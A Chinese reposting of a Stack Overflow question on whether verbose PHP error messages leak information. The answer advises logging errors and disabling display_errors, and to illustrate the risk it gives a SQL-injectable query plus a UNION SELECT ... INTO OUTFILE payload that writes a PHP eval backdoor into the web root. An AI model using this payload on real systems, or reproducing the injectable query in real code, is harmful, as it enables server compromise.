gpt4 book ai didi

php - 详细的异常/错误消息是否存在安全风险?

转载 作者:可可西里 更新时间:2023-11-01 12:51:09 25 4
gpt4 key购买 nike

我目前使用 isset() 检查每个 GET 和 POST 变量,并在 isset() 返回 false 时抛出异常。

示例 1:

if(!isset($_GET['some_var']))
throw new Exception('GET variable [some_var] is not set.');

$someVar = $_GET['some_var'];

示例 2:

if(!isset($_GET['some_num']))
throw new Exception('GET variable [some_num] is not set.');

if(!ctype_digit($_GET['some_num']))
throw new Exception('GET variable [some_num] is not a number.');

$someNum = $_GET['some_num'];

在我的生产应用程序中,我有一个全局异常处理程序,它将异常和错误发布到日志文件,然后重定向到一个通用的道歉页面。

这样的做法好吗?描述性异常和错误消息是否存在安全风险(黑客是否有可能读取异常通知,然后使用该信息来操纵我的脚本)?

谢谢!

最佳答案

记录错误和抑制输出正是您应该做的。错误报告可能很讨厌..

在 2007 年的 OWASP 前 10 名中有 Information Leakage and Improper Error Handling , 然而这在 2010 年被删除了。通过在你的 php.ini 中设置 dispaly_errors=On 你变得容易受到 CWE-200 的攻击。 .您的 Web 应用程序的完整路径将泄露给攻击者。更糟糕的是,通过启用错误报告,可以更轻松地通过查找 sql 错误消息来查找 SQL 注入(inject)。

在 PHP/MySQL 应用程序上结合使用时,您可以执行非常严重的攻击

$vuln_query="select name from user where id=".$_GET[id];

如果

http://localhost/vuln_query.php?id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php"

这使得这个完整的查询:

select name from user where id=1 union select "<?php eval($_GET[e])?>" into outfile "/path/to/web/root/backdoor.php"

我会确保 display_errors=Off 和该文件 FILE 权限已被撤销到您的 Web 应用程序的 MySQL 用户帐户。

关于php - 详细的异常/错误消息是否存在安全风险?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3146396/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com